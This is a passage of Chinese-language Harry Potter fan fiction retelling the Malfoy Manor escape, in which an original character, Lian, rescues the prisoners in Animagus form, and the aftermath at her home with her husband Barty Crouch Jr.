“如果他真是波特,就绝不能让他受伤,”她嘟囔道,更像是自言自语,“黑魔王想亲自干掉波特…如果他发现…我必须…我必须知道…” 她再次转向她妹妹。 “按巴蒂说的,必须先把他们关进地牢,等我想想该怎么办!” “这是我的家,贝拉,你不能这样发号施令!” “快干!你根本就不知道我们有多危险!”贝拉特里克斯歇斯底里的尖叫着,她看起来恐怖而疯狂,一条细细的火苗蹿出她的魔杖,在地毯上烧了一个洞。 纳西莎犹豫了片刻,然后对狼人说,“把这些犯人带到地牢里去,格雷伯克。” “等一下,”贝拉特里克斯尖声说道,“除了…除了这个泥巴种。” 格雷伯克满意的哼了一声。 “不!”罗恩大叫道,“可以留下我,留下我!” 贝拉特里克斯一拳砸在他的脸上,击打声在屋里回响。 小巴蒂:……你怎么还是个近战法师呢? “如果她在审讯中死了,下一个就是你,”贝拉特里克斯说,“在我的黑名单上,泥巴种下面就是纯血统叛徒,格雷伯克,把他们带下去,看牢了,但是别动他们——暂时。” 贝拉特里克斯把格雷伯克的魔杖扔给了他,然后从袍子底下掏出一把银色的小刀,把赫敏与其他犯人绑在一起的绳子割开,揪着头发把她拉到屋子中央。 小巴蒂也站起身,“那我就先走了,贝拉,别把人玩坏了,你坑我坐牢的事还记得吗?” 贝拉特里克斯一点儿也不觉得羞愧,她哼了一声,“为黑魔王坐牢是你的荣幸!” “我懒得理你。” 小巴蒂离开了客厅,走在前面,格雷伯克跟在他后面,押着其他的犯人慢慢走向另一道门,进入了一条黑暗的过道。 “克劳奇先生,她审讯完了之后,会把那小妞儿分一点给我吗?”格雷伯克轻声哼道,顺着走廊驱赶着哈利和罗恩,“我想吃上一两口,您觉得呢?” “她喜欢吃独食。”小巴蒂言简意赅的说。 格雷伯克愤怒的发出一声低吼,押着他们走过一段极陡的楼梯,罗恩和哈利背靠背的绑着,随时都有可能失足摔断脖子。 楼梯底部是一扇沉重的门,马尔福庄园的地牢到了,格雷伯克用魔杖轻轻一敲,打开了门,把他们推进了一个潮湿发霉的房间,里面一片漆黑。 牢门重重关上引起的回声还没有完全消失,正上方就传来了一声恐怖的、拖长了的尖叫。 “赫敏!”罗恩吼道,拼命扭动想挣开把他们捆在一起的绳索,拽得哈利趔趔趄趄,“赫敏!” “安静!”哈利说,“别出声,罗恩,我们需要想个办法——” “赫敏!赫敏!” “我们需要一个计划,别喊了——得把绳子解开——” 这时,顺着门上铁栅栏的缝隙扑棱扑棱飞进来什么东西,在黑暗中什么也看不见。 “哈利?”黑暗中传来一声低语,“罗恩?是你吗?” 罗恩停止了嘶喊,旁边好像有东西在移动,然后哈利见到一个影子正在靠近。 “哈利?罗恩?” “卢娜?” “是,是我!哦,不,我不希望你们被抓到!” “卢娜,你能帮我们把绳子解开吗?”哈利说。 “罗恩,等我给你解开绳子,你马上把熄灯器点亮。”这时,一个突兀的声音打断了他们的话。 “莉安?”罗恩不可置信的轻声问道。 “是我。”莉安点亮了魔杖,然后解除了罗恩的禁锢咒。 罗恩迫不及待的把手伸进口袋里,随着咔哒一声,熄灯器里的光球飞进了地牢,由于找不到原来的光源,它们只是悬挂在石头天花板上,像一个个小太阳,把地下室照得亮堂堂的。 楼上的赫敏又在尖叫了,他们听见贝拉特里克斯也在尖叫,“我再问你一次!你们是从哪儿弄到这宝剑的?哪儿?” 莉安熄灭了魔杖,地牢里还有其他人,卢娜苍白的脸上好像只剩下一双眼睛,魔杖制作者奥利凡德一动不动的蜷缩在墙角的地板上,他附近还有迪安·托马斯和一个妖精,妖精都快晕过去了,只因为绑在别人身上才没有倒下。 她一个个的解除了他们身上的绳子,满脸青肿和血迹的迪安低声说了句“谢谢”,站起来浑身发抖,妖精则瘫在了地上,似乎头晕目眩辨不清方面,黝黑的脸上满是伤痕。 “你怎么会在这儿?”哈利感到绳子掉了,他揉揉手腕。 “我在魔法部接到了通知,就跟他一起来了。”莉安看到罗恩急得绕着地牢乱跑,她试了试幻影移形,但没反应,看来地牢里施了反幻影移形咒。 “什么?可是我没看到你呀!”罗恩扑上来抱住了莉安,“表姐,救救她,我知道你可以,这就是你那个随时可能消失的咒语是不是——” 此时上面又传来贝拉特里克斯的声音。 “你在撒谎,龌龊的泥巴种,我知道!你去过我古灵阁的金库!老实交待,老实交待!” 又是一声恐怖的尖叫—— “你们还拿了什么?还拿了什么?老实交待,不然,我发誓我要用这把刀把你刺穿!” 莉安抬头望着低矮的天花板,希望找到一个活板门,如果直接暴力破门,很可能惊动贝拉特里克斯。 “没有出口,”卢娜注意到她的动作,用很轻很轻的声音说,“起先我也试过,奥利凡德先生在这儿已经很久了,他什么都试过了。” “你们有魔杖吗?”莉安看他们两手空空,头疼了一瞬。 “没有,”哈利很快说道,“在楼上,被他们拿走了。” 赫敏再次尖叫起来,撕心裂肺一般。 “你们还拿了什么,还有什么?回答我!”贝拉特里克斯大喊一声,“Crucio! ” 赫敏的尖叫声在楼上回响,罗恩用拳头砸着墙壁,莉安觉得不能再拖了,不然赫敏可能会像隆巴顿夫妇一样被折磨疯掉。 “我先把你们送走,不然你们都会成为人质,伊夫!”她对着空气叫道。 罗恩咆哮着,“赫敏!赫敏!” 此时,“啪”的一声爆响回荡在地牢里,被罗恩的叫声掩盖了。 “主人,”伊夫鞠了一躬,用苍老的牛蛙嗓子吱嘎吱嘎的说,“有什么吩咐?” “小精灵的魔法可以幻影移形离开这个地牢,对吗?”莉安问,伊夫点点头,耳朵拍打了几下。 “把他们带回祖宅去。” 一声恐怖的尖叫淹没了她的声音:赫敏又在遭受酷刑。 伊夫再次点点头。 “不!我们要先救赫敏!”罗恩倔强的说。 “那就先把卢娜和迪安带走。” “还有奥利凡德先生和妖精,”哈利说,“我们不能看他们死在这里。” 莉安赞同的看了他一眼,“当然可以。” “然后再回来,”她说,“行动吧,伊夫。” “你们是怎么闯进我的金库的?”此时他们又听见贝拉特里克斯尖叫道,“是不是地牢里那个肮脏的小妖精帮助你们的?” “我们今天晚上才碰到他!”赫敏抽泣道,“我们从没进过你的金库…这不是那把真的宝剑!是仿制品,只是仿制品!” “仿制品?”贝拉特里克斯尖声喊道,“哼,编得倒像!” “这很容易查明!”卢修斯说道,“德拉科,把那个妖精抓来,他可以鉴定宝剑是真的还是假的!” 哈利知道这次来不及带走拉环了,只好冲到蜷缩在地上的妖精身边,对着妖精的尖耳朵低语道,“你必须说宝剑是假的,千万不能让他们知道是真的,拉环,求你了——” 此时有人急速奔下地牢楼梯,伊夫立刻幻影移形了,罗恩一摁熄灯器,光球迅速飞了回去,地牢里重新变得一片漆黑,莉安把魔杖塞进他的口袋里,变形成一只蓝色的鸟,钻进伏在墙角的奥利凡德身下。 德拉科颤抖的声音从牢门外传来。 “刚才那是什么声音?你们朝后站,靠墙站成一排,别想轻举妄动,否则就杀了你们!” 他们照做后,门开了,德拉科走了进来,他的魔杖举在身前,看上去苍白而坚决,他抓住拉环的胳膊,拖着小妖精退了出去,牢门重重的关上了,同时又是“啪”的一声爆响。 罗恩摁了一下熄灯器,三个光球又从口袋里飞到空中,照亮了刚刚幻影显形到他们中间的小精灵。 “莉安呢?”他愣愣的说,“又消失了?” “快走吧,你们必须听我主人的话。”小精灵低语道,他匆匆赶到几乎人事不省的奥利凡德面前,抓住了他的手,然后把另一只手伸给了卢娜和迪安,两人都没有动。 “哈利,我们想帮助你!”卢娜轻声说。 “我们不能把你留在这儿。”迪安说。 “快走,你们两个!我们在莉安家里见。”哈利急切的喊道。 他俩对视一眼,抓住了小精灵伸出的手,突兀的“啪”的一声爆响,伊夫、卢娜、迪安和奥利凡德消失不见了。 “那是什么声音?”卢修斯在上面大喊道,“你们听到了吗?地牢里那个响声是怎么回事?” 哈利和罗恩惊恐的对视着。 “叫虫尾巴去检查一下!”楼上一个声音喊道。 脚步声穿过楼上的房间,然后是一阵沉寂,客厅内的人似乎正静听着地牢里再发出声响。 此时莉安突然从墙角变形,从罗恩的口袋里抽走了魔杖。 “阿尼——”哈利打了一下罗恩的手臂,没让他喊出声来,罗恩似乎也为自己的错误而害怕。 “我来对付他,你们需要他的魔杖。”莉安小声对他们说,因为他们别无选择,只要有人走进这个房间发现三个犯人失踪,他俩就死定了。 这时有人从门外的楼梯下来,罗恩熄了灯,他俩安静的躲在墙角。 “靠后站,”门外传来了虫尾巴的声音,“离门远一点,我进来了。” 门开了,短暂的一瞬间,虫尾巴还来不及看清什么,一道红光就对着他的脸飞了过来,他往后一倒,直挺挺的不动了。 哈利和罗恩扑了上去,拿到了他的魔杖。 “好表姐,我爱你,”罗恩呼哧带喘的小声说,“查理说得没错,你敢为了你丈夫劫狱,就敢为了我们——” “有什么异常,虫尾巴?”卢修斯在上面喊道。 “没什么!”罗恩大声答道,差强人意的模仿着虫尾巴的呼哧呼哧的声音,“一切正常!” 他们冲上了楼梯,到了通往客厅的昏暗过道,小心的悄悄往前移动,来到了客厅门口,门微微开着,现在可以清楚的看到贝拉特里克斯低头看着拉环,后者的长手里正拿着格兰芬多宝剑,赫敏躺在贝拉特里克斯的脚边,几乎不动弹了。 “怎么样?”贝拉特里克斯问拉环,“宝剑是真的吗?” “不是,”拉环说,“这是赝品。” “你有把握?”贝拉特里克斯喘着气问,“真的有把握?” “对。”妖精说道。 贝拉特里克斯松了口气,一挥魔杖,又在妖精脸上抽了一道深深的口子,他大叫一声倒在她脚边,被她踢开了。 “很好,”她说道,胜利的喜悦溢于言表,“我们召唤黑魔王吧,我想,我们可以除掉这个泥巴种了,格雷伯克,你想要就拿去吧。” “不——” 罗恩冲进了客厅,莉安给自己用了变形术,她的五官起了变化,贝拉特里克斯吃惊的回过头来,转而把魔杖指向了罗恩的脸—— “Expelliarmus! ”罗恩咆哮道,用虫尾巴的魔杖指向了贝拉特里克斯,她的魔杖飞向空中,被飞奔在罗恩身后的哈利接到了。 “Stupefy! ”莉安不敢用标记咒语暴露身份,只好一个一个对他们使用昏迷咒。 她击昏了格雷伯克,哈利用贝拉特里克斯的魔杖击昏了卢修斯,一道道光束从纳西莎和德拉科的魔杖里喷出,莉安跳起来躲避,而哈利和罗恩扑倒在地,滚到了一个沙发后面躲避着。 “住手,不然就让她死!” 贝拉特里克斯挟着毫无知觉的赫敏,手持小银刀指着她的喉咙。 “放下魔杖,”她轻声说道,“放下,否则我们就看看她的血到底有多脏!” 罗恩呆若木鸡,而哈利直起身,仍然攥着贝拉特里克斯的魔杖。 “我说了,放下!”她尖叫道,把刀刃抵在赫敏的咽喉上,血珠冒了出来。 三人把魔杖扔在地上,举起了手。 “很好!”贝拉特里克斯对德拉科说,“去捡起来!黑魔王就要来了,哈利·波特!你死到临头了!” 趁着贝拉特里克斯的注意力都在哈利身上,莉安不易察觉的往角落里退去。 “现在,”等德拉科捡了魔杖,贝拉特里克斯柔声说道,“西茜,我想我们得把这些人重新绑起来。” 在她说最后一个词时,她的头顶上传来一种奇异的摩擦声,所有的人都抬起头,看到水晶枝形吊灯在颤抖,随着一阵吱吱声和不祥的叮叮当当声,吊灯开始往下坠落。 贝拉特里克斯就在它的正下方,她扔下赫敏,尖叫着扑向一边,枝形吊灯坠落在地板上,水晶和链子噼里啪啦,正砸在赫敏和仍然握着格兰芬多宝剑的妖精身上,闪闪发光的水晶碎片四处飞溅,德拉科弯下腰,双手捂着血淋淋的脸。 罗恩跑过去从一片狼藉中把赫敏拉了出来,哈利也抓住机会,飞身跃过扶手椅,夺过德拉科手中的四根魔杖,趁着混乱中没人发现,莉安迅速变了形。 纳西莎拉开了德拉科,免得他再次受伤,贝拉特里克斯一跃而起,她挥舞着小银刀,看起来疯狂极了。 “是谁家的小精灵!”贝拉特里克斯望着门口,尖叫着说,“别让我知道是谁指使你——” “你是哪个山洞里钻出来的老巫婆,还想知道我的主人是谁?呸!你这个英国土鳖!你不要跟我说话,一股下水道的气味儿!”伊夫跑进屋,嘴里不屑的喷着毒液。 贝拉特里克斯被他气得浑身都在颤抖,她厉声喊道,“你说什么?你这个下贱的奴隶!杀了他,西茜!” 然而又是“啪”的一声爆响,伊夫打了个响指,纳西莎的魔杖也飞到空中,落在了客厅的另一边。 “你这个肮脏的小猢狲!”贝拉特里克斯尖声骂道,“你竟敢夺走女巫的魔杖,你怎么敢——” 回答她的是一双锋利的爪子,一只比寻常知更鸟体型更大的鸟儿嘶鸣一声,迎头扑在她脸上不断抓挠着,长长的血痕从她脸上冒了出来,鲜红的血液顺着她的下颌滴落。 “什么东西!哪来儿的畜牲!”贝拉特里克斯痛得疯狂的挥舞着小刀,想把那鸟儿从脸上撕扯下来,但是它拍拍翅膀,很轻易就躲开了,她根本抓不到它的一根羽毛,鸟儿从另外的角度继续抓她的脸,贝拉特里克斯很快就破了相,脸上伤痕累累,没一会儿,她就被那机灵的鸟儿气得嗷嗷大叫。 莉安:嘿嘿,想不到吧?我会飞! 哈利的伤疤痛得他眼前发黑,他隐约感觉到,伏地魔再有片刻或几秒钟就会出现了。 “罗恩,接着——快走!还有鸟儿,快回来!”哈利扔给罗恩一根魔杖,然后弯腰用力把拉环从枝形吊灯底下拉出来,那妖精呻吟着,仍然紧握着宝剑。 罗恩立刻拖住赫敏,哈利把妖精扛到肩上,他们两个抓住了伊夫的手,被带着原地旋转着幻影移形。 在进入黑暗前,他们最后看了一眼客厅:纳西莎和德拉科凝固的苍白身影,蓝色的知更鸟朝着他们飞了过来,好像落在了小精灵的头上,一道模糊的银光掠过,是贝拉特里克斯的小刀飞向他们正在消失的地方—— 普威特祖宅…莉安的家…普威特祖宅… 他们消失进未知的空间,所能做的就是一遍遍重复目的地的名字,真诚的祈祷着,希望这样能确保小精灵把他们带到那里。 伊夫只觉得头上的爪子抽动了一下,什么东西流到了他脸上,甚至把他的视线也遮住了,只有一片铺天盖地的红色…而后他们落到了柔软的草地上,空气的味道温暖和湿润 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一个小水晶瓶从壁炉架上飞了过来,他呼吸粗重的把鸟儿放在沙发上,然后小心翼翼的把手放在刀柄上,用尽全身力气让颤抖的双手平稳下来,迅速从它的身体里拔出了锋利的刀子,鸟儿弹动了一下,它虚弱的叫不出声来,两个爪子也绷紧了,这给了小巴蒂一种很可怕的感觉,他连忙把眼泪倒在伤口周围,一阵珍珠般柔和的光芒闪过,那个又长又深的伤口慢慢不见了。 “Animagi! ”小巴蒂松了一口气,他的魔杖指向鸟儿,大喊一声,让她变形。 “她会没事的,是不是?”哈利恳求的望着小巴蒂,迪安和卢娜都聚在他周围,罗恩把赫敏交给了闪闪,也扑到了沙发旁边。 “赫敏?”哈利突然问道,“她在哪儿?” “她在楼上,”罗恩哽咽着说,“她会好的,她们都会好的。” 小巴蒂抚摸着妻子苍白的脸颊,失血过多让她陷入了昏迷,即使用凤凰的眼泪让伤口长好,也会虚弱一阵子。 “二楼走廊第一个房间是我们的,你们各自找个房间住下,”小巴蒂冷声道,“闪闪,伊夫,去给他们找几件衣服,赫洛你——” 回到他的是一阵惊天动地的哭声,赫洛扑在主人脚边,哭得肝肠寸断。 “——你照顾好你的主人,”他说,“我先把她送回房间去。” 见莉安暂时不会有生命危险,迪安和卢娜把受伤的拉环弄到了二楼,罗恩松了口气,准备去看看赫敏,哈利的伤疤刺痛着,他能连接伏地魔的大脑,就像从长长的望远镜里看过去,此时他看到伏地魔正在惩罚那些留在马尔福庄园的人,狂怒的样子极其恐怖。 等小巴蒂从楼上下来时,哈利正坐在沙发上,赫敏在他旁边,穿着莉安的两件套睡衣,脸色苍白,罗恩伸手搂住了她,卢娜也披着莉安的外套,蜷缩在靠边的角落里。 “格兰杰,你感觉怎么样?”小巴蒂深深的吸了口气,勉强压下怒火。 “好些了,”赫敏颤抖着说,“闪闪帮我涂了白鲜。” “我已经把你的家人从陋居转移走了,”小巴蒂对罗恩说,“他们现在都在穆丽尔家里,包括金妮,她正好复活节回陋居度假,现在食死徒知道你和波特在一起,肯定会去找他们的。” 罗恩沉重的点点头,哈利一脸黯然。 “不要抱歉,”罗恩立刻对哈利说,“这只是时间问题,爸爸已经说过了,我们是最大的纯血统叛徒家族。” “怎么保护他们的?”哈利转向小巴蒂。 “赤胆忠心咒,我是保密人,祖宅也用了同样的方法,莉安是保密人,现在亚瑟和比尔夫妻都不能去上班,否则会被严刑拷问,到时候我也保不住他们,至于奥利凡德和那个妖精,我不打算转移他们,这里房间多的是。” “好吧,”哈利说,“正好,我需要他俩都在这儿,我要和他们谈谈,这很重要。” “做你的事吧,”小巴蒂没有反对,“西里斯打伤了那些搜捕队的人,他逃掉了,现在应该在到处找你们,我会留意他的行踪,我会在魔法部等他,或者在马尔福庄园外面守株待兔。” 哈利点点头,“我现在就要跟拉环和奥利凡德谈谈。” 他重复了一遍,加重语气,“现在。” “不等一等吗?”赫敏虚弱的说,“哈利,我看到他们俩都病了——” “对不起,”哈利心平气和的说,“但是我不能等,我要马上跟他们谈谈,密谈——并且是分别谈,很紧急。” “哈利,你们这几个月到底在做什么?”卢娜问道,“罗恩什么也不肯告诉我,甚至你还把我们带到这儿来,还有克劳奇先生,噢,爸爸说他是神秘人的手下——” “我们不能告诉你我们在做什么,”哈利淡淡的说,“我们不能告诉任何人,知道的人越少越好,但你可以信任他,是他把莉安带到地牢里的,他们是夫妻。” “的确是夫妻,但她中了夺魂咒——” “真正的夫妻,不是夺魂咒,希望你能保密,一会儿我也会去叮嘱迪安的。”罗恩说。 “噢,”卢娜吃了一惊,她微微睁大眼睛,看着小巴蒂,“我会保密的,谢谢你救了我,克劳奇先生。” “我会照顾你父亲的,”小巴蒂点点头,“他现在在阿兹卡班,暂时不能来接你,你也得住在这里。” “阿兹卡班?”卢娜更吃惊了。 “是啊,”罗恩闷闷的说,“你被抓走之后,我们去找你爸爸问了一些事情,他通知了那些食死徒,想用哈利把你交换回来,但是我们逃走了,所以食死徒把他送进了阿兹卡班。” “噢,对不起,哈利,很抱歉——” “不需要抱歉,是我连累了你们,”哈利起身,看着一脸担忧的罗恩和赫敏,“没时间了,我必须马上去找他们,你们两个也一起来吧。” “你想先跟谁谈?”罗恩问。 哈利犹豫片刻,“拉环,我先跟拉环谈。” “你们去吧,”小巴蒂说,“我不知道他在哪个房间,可以问一下我的小精灵。” 哈利点点头,罗恩和赫敏跟着他上了楼梯,他们的身影消失在拐角处。 卢娜也回房间去了,小巴蒂看了看在婴儿车里呼呼大睡的女儿,以及楼上房间里两个被吵醒但眼珠子咕噜咕噜乱转的儿子,给他们盖上被子后,他轻手轻脚的退出来,钻进了他和莉安的卧室里。 床上面色惨白的女人仍然在昏迷,这时候他不敢送她去圣芒戈治疗,不然会被贝拉特里克斯发现她异常的伤势,只能尽量用魔药维持她的体征平稳,但失血过多是内伤,魔法并不能凭空变出血液回流到她身体里。 她差一点儿死了,他完全不敢想象那个可怕的后果,也许是她、卧室、灯光、照片、他们与多年前的雷雨夜,以及他们两个人在无声许愿中点燃的壁炉,所有这些结合在一起让他想起了每个他们共度的夜晚。 再过一百年,他们可能会——也可能不会——活着,但事情要长远的看,他想,一个世纪前的傲罗和一个世纪前的食死徒的故事,他们好像非常渺小——她的软弱,她的闪躲,他的执着,他的强势,他们未说出口的心中那些你来我往的拉扯,他们晚上在沙发上看着火焰在壁炉中燃烧,映在彼此眼中,他们谈论未来和永远…在一百年后,谁会知道?谁想知道?谁会在乎? 他会。 是的,他会。 “这房子是世界上我最喜欢的地方。”他坐在床边,俯下身吻了吻她苍白的嘴唇。 “为什么?”她好像说话了,如果她醒着,她一定会这么问,他知道。 “因为它隐于尘世又遗世独立,它是被你藏起来的、安全的地方,它像一个私人的壁龛,在这里我可以背对着这个世界和其中的一切。” 他多么爱这个人,和她带来的这个温室,这个远离所有人和他所厌恶的一切的孤岛,这个躲避时间的地方,他希望它能永远持续下去。 他知道,当他再一次出现时,他已经把她迷得神魂颠倒,他全看出来了,但是她否认,她不肯给他一丝一毫的暗示,这让他不禁思索,被他迷得神魂颠倒?是不是那张被她贴在床头的他的照片误导了他? 那时候,她应该对他笑一笑,为什么不让他觉得只要再尝试一次对她求欢就能如愿以偿呢?在霍格沃茨时,他巴不得整天跟她待在一起,伏地魔的任务赶紧结束,但他隐隐约约也能察觉到他们剩下的时间已经不多了,那是一种很奇怪的预感,仿佛他很快就要死掉了似的,可他不想让这一切结束。 门一关上,他就希望她快点躺到床上,说她今天很想他,可不可以让他多抱她一会儿,然后他会把手放在复方汤剂上,玩假装要走这套,除非她扑上来挽留他,那他就会装作勉为其难的答应她,把她困在黑暗中,等待这一小时的汤剂时间过去,然后接下来的时间会成为一个晚上、一天或者一整个圣诞、复活节假期,他们会坐在床上,以一种他们整晚都在做的方式向彼此敞开心扉。 他想在黑暗中,他们陪伴彼此一个晚上、一天或者一周,对其他学生敲门的声音充耳不闻,他们手头的时间如此之多,以至于可以随心所欲的挥霍——无论是一大段时间还是一小段时间,挥霍、挥霍、挥霍,他想请时间延长,让他们永远待在那间办公室里。 家养小精灵会在门外放吃的、喝的,而他们只在两个人的世界里,但是他们的时间一直在溜走:第二场比赛、第三场比赛…很快就要结束了,很快,肯定的。 因为他要死了,他伟大的主人失手了,他不得不冒着暴露的风险除掉波特,那时候,她安静的躺在他的床上,看起来像睡着了,但她一直在抵抗夺魂咒。 他手臂上夺魂咒带来的和她的连接断掉了,他被绑在椅子上,不能动弹,他想让她好好活下去,他很抱歉那一瞬间他没有考虑到她和孩子的未来,他自信的认为他不会有事。 当摄魂怪的嘴差一点压在他的唇上,他突然感觉到了深深的愧悔,当他们跑到城堡外面时,邓布利多出现,她脆弱的脖子就在他手里,他仍然记得她为他违背原则的每个时刻,让他感到既荣幸又无能。 他不是乔希·阿克利,不是韦斯莱家族所有人认为的她退而求其次的丈夫,退而求其次的感情,权宜之计,退而求其次的人生。 如果他死了,这次她还会找一个能陪她听雨声的人,从头开始吗? 不能。 他是小巴蒂·克劳奇,就像黑湖上的浮冰,圣诞飘落的雪,他会一次又一次,一次又一次,奇迹般的把她带回他们相遇的地方,他可以一直这样,让她怀念那个烤火的壁炉,让她在楼梯扶手上伪装成一个轻飘飘的玩偶。 他永远也不会让她忘记他,他决定让她永远穿着他的睡衣衬衫在他身下瑟瑟发抖,这是在宣示主权——为了不让她大惊失色或者显得碍手碍脚,他会脱下风衣把它盖在她身上,把她裹紧——管他是不是鲁莽,他不在乎。 她喜欢他这样做。 他是小巴蒂·克劳奇。 那件风衣外套从此变得不同。 40.宝剑 “莉安!你醒了!你感觉好些了吗?” 莉安醒来的时候,只听到耳边有人在小声呼唤她的名字,但等她睁开眼睛,一切都模模糊糊的,眼前好像有几个人影在晃来晃去。 她转头看向窗户,淡蓝色的窗帘遮住了外面明亮的天光,房间的装饰淡雅柔和,这是她的房间。 她迫不及待的仰头,视线终于聚焦,她看清楚了床头那两张丈夫的入狱照,这让她如释重负的松了口气。 “她在干什么?”罗恩愣愣的问。 “没有安全感的时候就会这样,她在看我的照片。”小巴蒂觉得这更像一个古怪的仪式或者心理安慰,尤其是他第一次入狱那张照片,对她的意义非同凡响,那几乎是她所有不能宣之于口的感情的寄托所在。 他在床边坐了下来,把手放在她的额头上,感觉还是有些冰凉。 “巴蒂!”莉安无视了表弟,她抓住了丈夫戴戒指的手,盯着他下巴上短短的胡茬和眼下的青黑,“抱歉,又让你担心了…” “我看着你飞进地牢里时就考虑过这个后果,”小巴蒂轻轻的叹了口气,“只是没想到会伤得这么重,贝拉特里克斯那个母狼果然比摄魂怪可怕多了。” “是啊,她用钻心咒折磨赫敏,还用刀子切她的皮肤,”罗恩愤怒的嘟囔着,“她还差一点儿杀了你,克劳奇都不敢告诉妈妈,但是我想她猜到了,听说她被转移的时候哭得稀里哗啦,毕竟你有劫狱的前科,她知道你一定会救我们的。” “噢,姑妈他们没事就好,”莉安长舒一口气,“我们在魔法部收到消息时就决定营救你们,巴蒂负责善后,我负责劫狱,只要贝拉特里克斯没有当场召唤黑魔头,我就有把握带你们逃出去。” “如果她召唤了呢?”罗恩纳闷的问。 “巴蒂说了,如果她决定马上召唤黑魔头,那么他立刻就走,我会在门外变形偷袭他们,”莉安轻咳一声,“听上去难度有点大,但是也没办法。” “那你可真是个格兰芬多,”罗恩咕哝着,“莉安,你什么时候偷偷学了阿尼马格斯?我估计连乔治和弗雷德都不知道吧?能教教我吗?” “你想学?我还以为你对斑斑过敏了呢?”莉安皱眉看着他。 罗恩的笑容僵住了。 莉安看到他这个僵硬的表情,知道自己可能刺激到表弟了,立刻掩饰性的清了清嗓子,不再提那只耗子。 “七年级变形学的提高班在教人体易容,那时我就很感兴趣,然后开始为成为阿尼马格斯做准备了,他们的确不知道,因为我不想暴露这个能力,毕竟学成的人很少,如果哪个步骤出了差错,第一次变身就会变成半人半兽的骇人怪物,然后永远卡在那里,以这样的身体活下去,所以我不建议你学。” “那你干嘛要学?”罗恩显得有些沮丧。 “有备无患,我要做傲罗,本身就很危险,”莉安说,“你看,我可以用它跟踪或者盯梢,劫狱、窃取情报,甚至偷袭,把对方打个措手不及,毕竟谁会防备一只鸟呢?这是个很实用的技能,虽然我一直用这个咒语做一些偷鸡摸狗的事…” “这不是偷鸡摸狗,你太伟大了表姐!”罗恩讨好的说,“你救了我们!你当初就是这样救了克劳奇吧?” “没错,”莉安点点头,“是西里斯的越狱给了我灵感,摄魂怪不能察觉动物的情绪,所以它们当时发现不了我。” “我早该想到的,”罗恩偷偷嘀咕道,“但是没关系,赫敏也没想到…” “西里斯回来了吗?” “刚回来,”小巴蒂看她伤得这么重,醒来之后还在担心其他人的安危,只觉得无可奈何,他深深的吸了口气,解释道,“他一身伤,打了不少搜捕队的人,最后还是被捉住了,他们把他扭送到马尔福庄园换金子,我正好等在大门外,然后用了点儿复杂的魔法,让搜捕队的人忘了这件事,他已经在其他房间休息了。” “那我就放心了,”莉安喃喃道,“其他人呢…” “在这儿呢。”赫敏在门口探头探脑。 “你康复了?” “是啊,用了白鲜,我康复得很快,”赫敏说,“不过奥利凡德先生实在是太虚弱了,他可能要修养很久,闪闪给妖精用了催长素,他的腿已经恢复了。” “噢,奥利凡德先生!”莉安叫道,“他失踪了一年多,看样子是一直被关在马尔福那个地牢里了?” “是的,”赫敏悲哀的看着她,“奥利凡德先生说伏——神秘人用钻心咒折磨他。” “可怜…那哈利呢?” 门外探进来第二个脑袋,他的表情看起来有些愁苦。 “我没事,谢谢你们,莉安,还有克劳奇。”哈利说。 “没事就好。”莉安无力的笑了笑。 “你们现在有什么打算?”小巴蒂淡淡的看了一眼哈利。 “我们还需要跟拉环再谈一谈,现在事情进展的不太顺利,”哈利平静的说,“妖精好像在吊我们的胃口。” “闪闪。”小巴蒂喊了一声。 “主人,你叫我?”闪闪迅速跑了进来,她手里还端着一盘带血的生肉。 “你拿这个干什么?”莉安诧异的问。 “是那个妖精要吃!”闪闪气愤的挥舞着那盘生肉,“它不过是个妖精罢了,居然也敢对我颐指气使!” “真抱歉。”哈利觉得很不好意思。 “没关系,”莉安说着,幽默的安抚闪闪,“辛苦你了,闪闪,除了吃饭的事你不要理他,他想吃生的还挺省事,至少你不用费心去给他做饭了。” 闪闪不满的哼了一声,看向小巴蒂,“主人,什么事需要找闪闪呀?” “我想让你去一趟贝壳小屋,把比尔带过来。”小巴蒂沉声说道。 “噢,但是闪闪不知道位置。”闪闪吃了一惊。 “我有,”莉安指了指梳妆台的抽屉,“闪闪,里面有个写着地址的羊皮纸条,你记下来,然后幻影移形去接他,把他直接带到咱们的房子里来,因为只有你们小精灵的魔法才能无视巫师的防护魔咒。” “没问题,可是闪闪要怎么说呢?” “就说波特有问题需要他的帮助。”小巴蒂说。 “啊?”哈利有些茫然,“我没有——” “我们认识的人中,最了解妖精的人只有他,”小巴蒂斩钉截铁的说,“比尔在古灵阁工作,他整天跟妖精打交道,我说过,波特,你可以不告诉我们你的任务,但是你可以向其他人寻求帮助,这比你自己苦思冥想要快得多。” 哈利点了点头,闪闪迅速把生肉送进妖精的房间,然后回来拿起羊皮纸条,她看了一会儿,随即打了个响指,“啪”的一声消失在原地。 “是呀,”罗恩恍然大悟,“比尔毕业后一直在埃及的古灵阁工作,如果说谁最了解拉环的想法,那一定非他莫属。” “迪安呢?迪安如何?”莉安突然想起来自己忽略了那个黑皮肤的男孩儿,关心的问。 “迪安是皮外伤,贝拉特里克斯喜欢用小刀折磨我们而不是魔杖,他恢复得比妖精还快。”赫敏想到贝拉特里克斯那个疯女人,仍然心有余悸,脸上的表情既古怪又厌恶。 “那卢娜…” “她没事,”小巴蒂指了指窗户外面,“带着兰斯和洛特跟咱家的地精交朋友呢。” 还没等莉安伸长了脖子往窗外看,又是“啪”的一声爆响,闪闪带着一个满脸伤痕、留着长发的男人回来了。 “莉安,你没事吧?”比尔一露面,立刻扑倒在床边,“克劳奇通知了我们,你——” 小巴蒂咳嗽了一声,脸色看不出喜怒,莉安猛地哆嗦了一下,眼睛四处乱瞟,就是不敢看比尔,其他人则不自在的低着头或者转过身,尴尬的不忍直视这修罗场的一幕。 比尔愣了一会儿,非常勇敢的站起身,像个没事的人一样转头看着哈利,“什么事?跟妖精有关?” “是的,”哈利恨不得化作蒸汽消失,但他英勇的控制住了自己的双腿不要逃跑,“我们需要那个妖精帮忙,但是他很难说服。” “我了解妖精,”比尔说,“我离开霍格沃茨后就一直为古灵阁工作,如果说巫师和妖精之间能有友谊的话,我有妖精朋友——或者至少,有我很了解也很喜欢的妖精。” 比尔犹豫了一下,“哈利,你想让妖精帮你什么?” “这个我不能告诉你,”哈利说,“对不起,比尔。” “那么我不得不说一句,”比尔接着说,“如果你需要他的帮助,他一定会对你索取报酬,所以和他约定任何协议时必须格外小心,尤其是如果那协议涉及财宝,因为妖精概念中的所有权、报酬和补偿与人类的不同。” “什么意思?”哈利感到一阵不安。 